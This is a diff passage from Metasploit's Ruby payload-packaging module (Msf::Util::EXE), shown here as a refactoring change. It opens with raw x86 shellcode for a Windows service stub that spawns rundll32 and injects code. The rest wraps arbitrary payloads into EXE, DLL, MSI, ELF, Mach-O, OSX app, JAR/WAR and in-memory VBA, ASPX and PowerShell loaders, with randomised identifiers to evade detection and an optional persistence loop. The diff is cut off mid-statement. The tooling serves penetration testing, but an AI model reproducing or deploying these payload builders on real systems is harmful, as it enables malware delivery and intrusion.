"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + + "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + + "\x8D\x85#{[svcmain_code_offset].pack('<I')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + + "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + + "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + + "#{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" + + "\x85#{[svcctrlhandler_code_offset].pack('<I')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + + "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + + "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + + "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + + "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + + "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('<I')}\x57\x51\x68\xAE\x87" + + "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + + "#{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" + + "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + + "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + + "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + + "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" + + to_winpe_only(framework, code_service + code, opts) + end end - def self.to_win64pe_service(framework, code, opts={}) + def self.to_win64pe_service(framework, code, opts = {}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") opts[:exe_type] = :service_exe exe_sub_method(code,opts) end - def self.to_win32pe_dll(framework, code, opts={}) + def self.to_win32pe_dll(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") opts[:exe_type] = :dll if opts[:inject] - return self.to_win32pe(framework, code, opts) + self.to_win32pe(framework, code, opts) else - return exe_sub_method(code,opts) + exe_sub_method(code,opts) end end - def self.to_win64pe_dll(framework, code, opts={}) + def self.to_win64pe_dll(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") opts[:exe_type] = :dll @@ -496,7 +623,7 @@ require 'msf/core/exe/segment_injector' if opts[:inject] raise RuntimeError, 'Template injection unsupported for x64 DLLs' else - return exe_sub_method(code,opts) + exe_sub_method(code,opts) end end @@ -504,13 +631,13 @@ require 'msf/core/exe/segment_injector' # Wraps an executable inside a Windows # .msi file for auto execution when run # - def self.to_exe_msi(framework, exe, opts={}) + def self.to_exe_msi(framework, exe, opts = {}) if opts[:uac] opts[:msi_template] ||= "template_windows.msi" else opts[:msi_template] ||= "template_nouac_windows.msi" end - return replace_msi_buffer(exe, opts) + replace_msi_buffer(exe, opts) end def self.replace_msi_buffer(pe, opts) @@ -522,17 +649,18 @@ require 'msf/core/exe/segment_injector' template = File.join(opts[:msi_template_path], opts[:msi_template]) end - msi = '' - File.open(template, "rb") { |fd| - msi = fd.read(fd.stat.size) - } + msi = self.get_file_contents(template) - section_size = 2**(msi[30..31].unpack('s')[0]) - sector_allocation_table = msi[section_size..section_size*2].unpack('l*') + section_size = 2**(msi[30..31].unpack('v')[0]) + + # This table is one of the few cases where signed values are needed + sector_allocation_table = msi[section_size..section_size*2].unpack('l<*') buffer_chain = [] - current_secid = 5 # This is closely coupled with the template provided and ideally - # would be calculated from the dir stream? + + # This is closely coupled with the template provided and ideally + # would be calculated from the dir stream? + current_secid = 5 until current_secid == -2 buffer_chain << current_secid @@ -557,74 +685,92 @@ require 'msf/core/exe/segment_injector' pe_block_end += section_size end - return msi + msi end - def self.to_osx_arm_macho(framework, code, opts={}) + def self.to_osx_arm_macho(framework, code, opts = {}) # Allow the user to specify their own template set_template_default(opts, "template_armle_darwin.bin") - mo = '' - File.open(opts[:template], "rb") { |fd| - mo = fd.read(fd.stat.size) - } - - bo = mo.index('PAYLOAD:') - raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo + mo = self.get_file_contents(opts[:template]) + bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag") mo[bo, code.length] = code - - return mo + mo end - def self.to_osx_ppc_macho(framework, code, opts={}) + def self.to_osx_ppc_macho(framework, code, opts = {}) # Allow the user to specify their own template set_template_default(opts, "template_ppc_darwin.bin") - mo = '' - File.open(opts[:template], "rb") { |fd| - mo = fd.read(fd.stat.size) - } - - bo = mo.index('PAYLOAD:') - raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo + mo = self.get_file_contents(opts[:template]) + bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag") mo[bo, code.length] = code - - return mo + mo end - def self.to_osx_x86_macho(framework, code, opts={}) + def self.to_osx_x86_macho(framework, code, opts = {}) # Allow the user to specify their own template set_template_default(opts, "template_x86_darwin.bin") - mo = '' - File.open(opts[:template], "rb") { |fd| - mo = fd.read(fd.stat.size) - } - - bo = mo.index('PAYLOAD:') - raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo + mo = self.get_file_contents(opts[:template]) + bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag") mo[bo, code.length] = code - - return mo + mo end - def self.to_osx_x64_macho(framework, code, opts={}) + def self.to_osx_x64_macho(framework, code, opts = {}) set_template_default(opts, "template_x64_darwin.bin") - macho = '' - - File.open(opts[:template], 'rb') { |fd| - macho = fd.read(fd.stat.size) - } - - bin = macho.index('PAYLOAD:') - raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin + macho = self.get_file_contents(opts[:template]) + bin = self.find_payload_tag(macho, + "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag") macho[bin, code.length] = code + macho + end - return macho + # @param [Hash] opts the options hash + # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user) + # @option opts [String] :app_name (random) the name of the OSX app + # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file + # @return [String] zip archive containing an OSX .app directory + def self.to_osx_app(exe, opts = {}) + exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8) + app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8) + plist_extra = opts[:plist_extra] || '' + + app_name.chomp!(".app") + app_name += ".app" + + info_plist = %Q| + <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleExecutable</key> + <string>#{exe_name}</string> + <key>CFBundleIdentifier</key> + <string>com.#{exe_name}.app</string> + <key>CFBundleName</key> + <string>#{exe_name}</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + #{plist_extra} +</dict> +</plist> + | + + zip = Rex::Zip::Archive.new + zip.add_file("#{app_name}/", '') + zip.add_file("#{app_name}/Contents/", '') + zip.add_file("#{app_name}/Contents/MacOS/", '') + zip.add_file("#{app_name}/Contents/Resources/", '') + zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe) + zip.add_file("#{app_name}/Contents/Info.plist", info_plist) + zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt') + zip.pack end # Create an ELF executable containing the payload provided in +code+ @@ -649,17 +795,13 @@ require 'msf/core/exe/segment_injector' # The new template is just an ELF header with its entry point set to # the end of the file, so just append shellcode to it and fixup # p_filesz and p_memsz in the header for a working ELF executable. - elf = '' - File.open(opts[:template], "rb") { |fd| - elf = fd.read(fd.stat.size) - } - + elf = self.get_file_contents(opts[:template]) elf << code # Check EI_CLASS to determine if the header is 32 or 64 bit # Use the proper offsets and pack size - case elf[4] - when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9) + case elf[4,1].unpack("C").first + when 1 # ELFCLASS32 - 32 bit (ruby 1.9+) if big_endian elf[0x44,4] = [elf.length].pack('N') #p_filesz elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz @@ -667,26 +809,24 @@ require 'msf/core/exe/segment_injector' elf[0x44,4] = [elf.length].pack('V') #p_filesz elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz end - when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9) + when 2 # ELFCLASS64 - 64 bit (ruby 1.9+) if big_endian elf[0x60,8] = [elf.length].pack('Q>') #p_filesz elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz else # little endian - elf[0x60,8] = [elf.length].pack('Q') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz + elf[0x60,8] = [elf.length].pack('Q<') #p_filesz + elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz end else raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported" end - return elf + elf end # Create a 32-bit Linux ELF containing the payload provided in +code+ - def self.to_linux_x86_elf(framework, code, opts={}) - unless opts[:template] - default = true - end + def self.to_linux_x86_elf(framework, code, opts = {}) + default = true unless opts[:template] if default elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code) @@ -704,14 +844,12 @@ require 'msf/core/exe/segment_injector' # Be lazy and mark any executable segment as writable. Doing # it this way means we don't have to care about which one # contains .text - if s.flags.include? "X" - s.flags += [ "W" ] - end + s.flags += [ "W" ] if s.flags.include? "X" new_phdr << s.encode(e) } # Copy the original file - elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) } + elf = self.get_file_contents(opts[:template], "rb") # Replace the header with our rwx modified version elf[e.header.phoff, new_phdr.data.length] = new_phdr.data @@ -721,40 +859,39 @@ require 'msf/core/exe/segment_injector' elf[entry_off, code.length] = code end - return elf + elf end # Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+ - def self.to_bsd_x86_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_x86_bsd.bin", code) - return elf + def self.to_bsd_x86_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_x86_bsd.bin", code) end # Create a 32-bit Solaris ELF containing the payload provided in +code+ - def self.to_solaris_x86_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_x86_solaris.bin", code) - return elf + def self.to_solaris_x86_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_x86_solaris.bin", code) end # Create a 64-bit Linux ELF containing the payload provided in +code+ - def self.to_linux_x64_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_x64_linux.bin", code) - return elf + def self.to_linux_x64_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_x64_linux.bin", code) end - def self.to_linux_armle_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_armle_linux.bin", code) - return elf + # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+ + def self.to_linux_x64_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code) end - def self.to_linux_mipsle_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) - return elf + def self.to_linux_armle_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_armle_linux.bin", code) end - def self.to_linux_mipsbe_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) - return elf + def self.to_linux_mipsle_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) + end + + def self.to_linux_mipsbe_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) end def self.to_exe_vba(exes='') @@ -790,9 +927,9 @@ require 'msf/core/exe/segment_injector' # Writing the bytes of the exe to the file 1.upto(exe.length) do |pc| - while(c = exe[idx]) + while c = exe[idx] hash_sub[:data] << "&H#{("%.2x" % c).upcase}" - if (idx > 1 and (idx % maxbytes) == 0) + if idx > 1 && (idx % maxbytes) == 0 # When maxbytes are written make a new paragrpah hash_sub[:data] << "\r\n" end @@ -800,10 +937,10 @@ require 'msf/core/exe/segment_injector' end end - return read_replace_script_template("to_exe.vba.template", hash_sub) + read_replace_script_template("to_exe.vba.template", hash_sub) end - def self.to_vba(framework,code,opts={}) + def self.to_vba(framework,code,opts = {}) hash_sub = {} hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize @@ -827,10 +964,10 @@ require 'msf/core/exe/segment_injector' # put the shellcode bytes into an array hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray]) - return read_replace_script_template("to_mem.vba.template", hash_sub) + read_replace_script_template("to_mem.vba.template", hash_sub) end - def self.to_exe_vbs(exes = '', opts={}) + def self.to_exe_vbs(exes = '', opts = {}) delay = opts[:delay] || 5 persist = opts[:persist] || false @@ -850,7 +987,7 @@ require 'msf/core/exe/segment_injector' hash_sub[:init] = "" - if(persist) + if persist hash_sub[:init] << "Do\r\n" hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" @@ -859,10 +996,10 @@ require 'msf/core/exe/segment_injector' hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" end - return read_replace_script_template("to_exe.vbs.template", hash_sub) + read_replace_script_template("to_exe.vbs.template", hash_sub) end - def self.to_exe_asp(exes = '', opts={}) + def self.to_exe_asp(exes = '', opts = {}) hash_sub = {} hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -876,10 +1013,10 @@ require 'msf/core/exe/segment_injector' hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) - return read_replace_script_template("to_exe.asp.template", hash_sub) + read_replace_script_template("to_exe.asp.template", hash_sub) end - def self.to_exe_aspx(exes = '', opts={}) + def self.to_exe_aspx(exes = '', opts = {}) hash_sub = {} hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -891,10 +1028,10 @@ require 'msf/core/exe/segment_injector' hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file]) - return read_replace_script_template("to_exe.aspx.template", hash_sub) + read_replace_script_template("to_exe.aspx.template", hash_sub) end - def self.to_mem_aspx(framework, code, exeopts={}) + def self.to_mem_aspx(framework, code, exeopts = {}) # Intialize rig and value names rig = Rex::RandomIdentifierGenerator.new() rig.init_var(:var_funcAddr) @@ -905,28 +1042,29 @@ require 'msf/core/exe/segment_injector' hash_sub = rig.to_h hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray]) - - return read_replace_script_template("to_mem.aspx.template", hash_sub) + + read_replace_script_template("to_mem.aspx.template", hash_sub) end def self.to_win32pe_psh_net(framework, code, opts={}) - hash_sub = {} - hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:var_code) + rig.init_var(:var_kernel32) + rig.init_var(:var_baseaddr) + rig.init_var(:var_threadHandle) + rig.init_var(:var_output) + rig.init_var(:var_codeProvider) + rig.init_var(:var_compileParams) + rig.init_var(:var_syscode) + rig.init_var(:var_temp) + hash_sub = rig.to_h hash_sub[:b64shellcode] = Rex::Text.encode_base64(code) - return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n") + read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n") end - def self.to_win32pe_psh(framework, code, opts={}) + def self.to_win32pe_psh(framework, code, opts = {}) hash_sub = {} hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -938,7 +1076,7 @@ require 'msf/core/exe/segment_injector' hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code]) - return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n") + read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n") end # @@ -946,7 +1084,7 @@ require 'msf/core/exe/segment_injector' # Tweaked by shellster # Originally from PowerSploit # - def self.to_win32pe_psh_reflection(framework, code, opts={}) + def self.to_win32pe_psh_reflection(framework, code, opts = {}) # Intialize rig and value names rig = Rex::RandomIdentifierGenerator.new() rig.init_var(:func_get_proc_address) @@ -962,13 +1100,13 @@ require 'msf/core/exe/segment_injector' rig.init_var(:var_hthread) hash_sub = rig.to_h - hash_sub[:b64shellcode] = Rex::Text.encode_base64(code) - return read_replace_script_template("to_mem_pshreflection.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n") + read_replace_script_template("to_mem_pshreflection.ps1.template", + hash_sub).gsub(/(?<!\r)\n/, "\r\n") end - def self.to_win32pe_vbs(framework, code, opts={}) + def self.to_win32pe_vbs(framework, code, opts = {}) to_exe_vbs(to_win32pe(framework, code, opts), opts) end @@ -978,7 +1116,7 @@ require 'msf/core/exe/segment_injector' # @see Msf::Payload::Java # # @return [Rex::Zip::Jar] - def self.to_jar(exe, opts={}) + def self.to_jar(exe, opts = {}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" zip = Rex::Zip::Jar.new @@ -1019,7 +1157,7 @@ require 'msf/core/exe/segment_injector' # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} # # @return [String] - def self.to_war(jsp_raw, opts={}) + def self.to_war(jsp_raw, opts = {}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) app_name = opts[:app_name] @@ -1051,12 +1189,10 @@ require 'msf/core/exe/segment_injector' # add extra files if opts[:extra_files] - opts[:extra_files].each { |el| - zip.add_file(el[0], el[1]) - } + opts[:extra_files].each {|el| zip.add_file(el[0], el[1])} end - return zip.pack + zip.pack end # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a @@ -1068,7 +1204,7 @@ require 'msf/core/exe/segment_injector' # @param opts (see to_war) # @option opts (see to_war) # @return (see to_war) - def self.to_jsp_war(exe, opts={}) + def self.to_jsp_war(exe, opts = {}) # begin <payload>.jsp hash_sub = {} @@ -1103,22 +1239,19 @@ require 'msf/core/exe/segment_injector' template = read_replace_script_template("to_exe_jsp.war.template", hash_sub) - return self.to_war(template, opts) + self.to_war(template, opts) end # Creates a .NET DLL which loads data into memory # at a specified location with read/execute permissions # - the data will be loaded at: base+0x2065 # - default max size is 0x8000 (32768) - def self.to_dotnetmem(base=0x12340000, data="", opts={}) + def self.to_dotnetmem(base=0x12340000, data="", opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "dotnetmem.dll") - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } + pe = self.get_file_contents(opts[:template]) # Configure the image base base_offset = opts[:base_offset] || 180 @@ -1142,12 +1275,12 @@ require 'msf/core/exe/segment_injector' uuid_offset = opts[:uuid_offset] || 37656 pe[uuid_offset,16] = Rex::Text.rand_text(16) - return pe + pe end - def self.encode_stub(framework, arch, code, platform = nil, badchars='') - return code if not framework.encoders + def self.encode_stub(framework, arch, code, platform = nil, badchars = '') + return code unless framework.encoders framework.encoders.each_module_ranked('Arch' => arch) do |name, mod| begin enc = framework.encoders.create(name) @@ -1159,17 +1292,18 @@ require 'msf/core/exe/segment_injector' nil end - def self.generate_nops(framework, arch, len, opts={}) + def self.generate_nops(framework, arch, len, opts = {}) opts['BadChars'] ||= '' opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] - return nil if not framework.nops + return nil unless framework.nops framework.nops.each_module_ranked('Arch' => arch) do |name, mod| begin nop = framework.nops.create(name) raw = nop.generate_sled(len, opts) return raw if raw rescue + # @TODO: stop rescuing everying on each of these, be selective end end nil @@ -1356,11 +1490,9 @@ require 'msf/core/exe/segment_injector' line.strip! next if line.empty? - if (rand(2) == 0) - wrapper << "nop\n" - end + wrapper << "nop\n" if rand(2) == 0 - if(rand(2) == 0) + if rand(2) == 0 wrapper << "jmp autojump#{cnt_jmp}\n" 1.upto(rand(8)+8) do wrapper << "db 0x#{"%.2x" % rand(0x100)}\n" @@ -1374,9 +1506,7 @@ require 'msf/core/exe/segment_injector' wrapper << stub_final enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded - res = enc.data + code - - res + enc.data + code end # This wrapper is responsible for allocating RWX memory, copying the @@ -1572,12 +1702,12 @@ require 'msf/core/exe/segment_injector' line.strip! next if line.empty? - if (cnt_nop > 0 and rand(4) == 0) + if cnt_nop > 0 && rand(4) == 0 wrapper << "nop\n" cnt_nop -= 1 end - if(cnt_nop > 0 and rand(16) == 0) + if cnt_nop > 0 && rand(16) == 0 cnt_nop -= 2 cnt_jmp += 1 @@ -1591,7 +1721,7 @@ require 'msf/core/exe/segment_injector' wrapper << line + "\n" end - #someone who knows how to use metasm please explain the right way to do this. + # @TODO: someone who knows how to use metasm please explain the right way to do this. wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n" wrapper << stub_final @@ -1642,52 +1772,59 @@ require 'msf/core/exe/segment_injector' return output end + # otherwise the result of this huge case statement is returned case fmt when 'asp' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - output = Msf::Util::EXE.to_exe_asp(exe, exeopts) - + Msf::Util::EXE.to_exe_asp(exe, exeopts) when 'aspx' - output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts) - + Msf::Util::EXE.to_mem_aspx(framework, code, exeopts) when 'aspx-exe' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) - + Msf::Util::EXE.to_exe_aspx(exe, exeopts) when 'dll' - output = case arch - when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) - when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) - end - - when 'exe' - output = case arch - when ARCH_X86,nil then to_win32pe(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe(framework, code, exeopts) - when ARCH_X64 then to_win64pe(framework, code, exeopts) - end - - when 'exe-service' - output = case arch - when ARCH_X86,nil then to_win32pe_service(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe_service(framework, code, exeopts) - when ARCH_X64 then to_win64pe_service(framework, code, exeopts) + case arch + when ARCH_X86,nil + to_win32pe_dll(framework, code, exeopts) + when ARCH_X86_64 + to_win64pe_dll(framework, code, exeopts) + when ARCH_X64 + to_win64pe_dll(framework, code, exeopts) + end + when 'exe' + case arch + when ARCH_X86,nil + to_win32pe(framework, code, exeopts) + when ARCH_X86_64 + to_win64pe(framework, code, exeopts) + when ARCH_X64 + to_win64pe(framework, code, exeopts) + end + when 'exe-service' + case arch + when ARCH_X86,nil + to_win32pe_service(framework, code, exeopts) + when ARCH_X86_64 + to_win64pe_service(framework, code, exeopts) + when ARCH_X64 + to_win64pe_service(framework, code, exeopts) end - when 'exe-small' - output = case arch - when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts) - when ARCH_X86_64,ARCH_X64 then to_win64pe(framework, code, exeopts) - end - + case arch + when ARCH_X86,nil + to_win32pe_old(framework, code, exeopts) + when ARCH_X86_64,ARCH_X64 + to_win64pe(framework, code, exeopts) + end when 'exe-only' - output = case arch - when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch) - when ARCH_X86_64 then to_winpe_only(framework, code, exeopts, arch) - when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch) - end - + case arch + when ARCH_X86,nil + to_winpe_only(framework, code, exeopts) + when ARCH_X86_64 + to_winpe_only(framework, code, exeopts, arch) + when ARCH_X64 + to_winpe_only(framework, code, exeopts, arch) + end when 'msi' case arch when ARCH_X86,nil @@ -1695,81 +1832,90 @@ require 'msf/core/exe/segment_injector' when ARCH_X86_64,ARCH_X64 exe = to_win64pe(framework, code, exeopts) end - output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) - + Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) when 'msi-nouac' case arch - when ARCH_X86,nil - exe = to_win32pe(framework, code, exeopts) - when ARCH_X86_64,ARCH_X64 - exe = to_win64pe(framework, code, exeopts) + when ARCH_X86,nil + exe = to_win32pe(framework, code, exeopts) + when ARCH_X86_64,ARCH_X64 + exe = to_win64pe(framework, code, exeopts) end exeopts[:uac] = true - output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) - + Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) when 'elf' - if (not plat or (plat.index(Msf::Module::Platform::Linux))) - output = case arch - when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts) - when ARCH_X86_64 then to_linux_x64_elf(framework, code, exeopts) - when ARCH_X64 then to_linux_x64_elf(framework, code, exeopts) - when ARCH_ARMLE then to_linux_armle_elf(framework, code, exeopts) - when ARCH_MIPSBE then to_linux_mipsbe_elf(framework, code, exeopts) - when ARCH_MIPSLE then to_linux_mipsle_elf(framework, code, exeopts) - end - elsif(plat and (plat.index(Msf::Module::Platform::BSD))) - output = case arch - when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) - end - elsif(plat and (plat.index(Msf::Module::Platform::Solaris))) - output = case arch - when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts) - end - end - - when 'macho' - output = case arch - when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts) - when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts) - when ARCH_X64 then to_osx_x64_macho(framework, code, exeopts) - when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts) - when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts) + if !plat || plat.index(Msf::Module::Platform::Linux) + case arch + when ARCH_X86,nil +to_linux_x86_elf(framework, code, exeopts) + when ARCH_X86_64 + to_linux_x64_elf(framework, code, exeopts) + when ARCH_X64 + to_linux_x64_elf(framework, code, exeopts) + when ARCH_ARMLE + to_linux_armle_elf(framework, code, exeopts) + when ARCH_MIPSBE + to_linux_mipsbe_elf(framework, code, exeopts) + when ARCH_MIPSLE + to_linux_mipsle_elf(framework, code, exeopts) end - + elsif plat && plat.index(Msf::Module::Platform::BSD) + case arch + when ARCH_X86,nil + Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) + end + elsif plat && plat.index(Msf::Module::Platform::Solaris) + case arch + when ARCH_X86,nil + to_solaris_x86_elf(framework, code, exeopts) + end + end + when 'elf-so' + if !plat || plat.index(Msf::Module::Platform::Linux) + case arch + when ARCH_X86_64 + to_linux_x64_elf_dll(framework, code, exeopts) + when ARCH_X64 + to_linux_x64_elf_dll(framework, code, exeopts) + end + end + when 'macho', 'osx-app' + macho = case arch + when ARCH_X86,nil + to_osx_x86_macho(framework, code, exeopts) + when ARCH_X86_64 + to_osx_x64_macho(framework, code, exeopts) + when ARCH_X64 + to_osx_x64_macho(framework, code, exeopts) + when ARCH_ARMLE + to_osx_arm_macho(framework, code, exeopts) + when ARCH_PPC + to_osx_ppc_macho(framework, code, exeopts) + end + fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho when 'vba' - output = 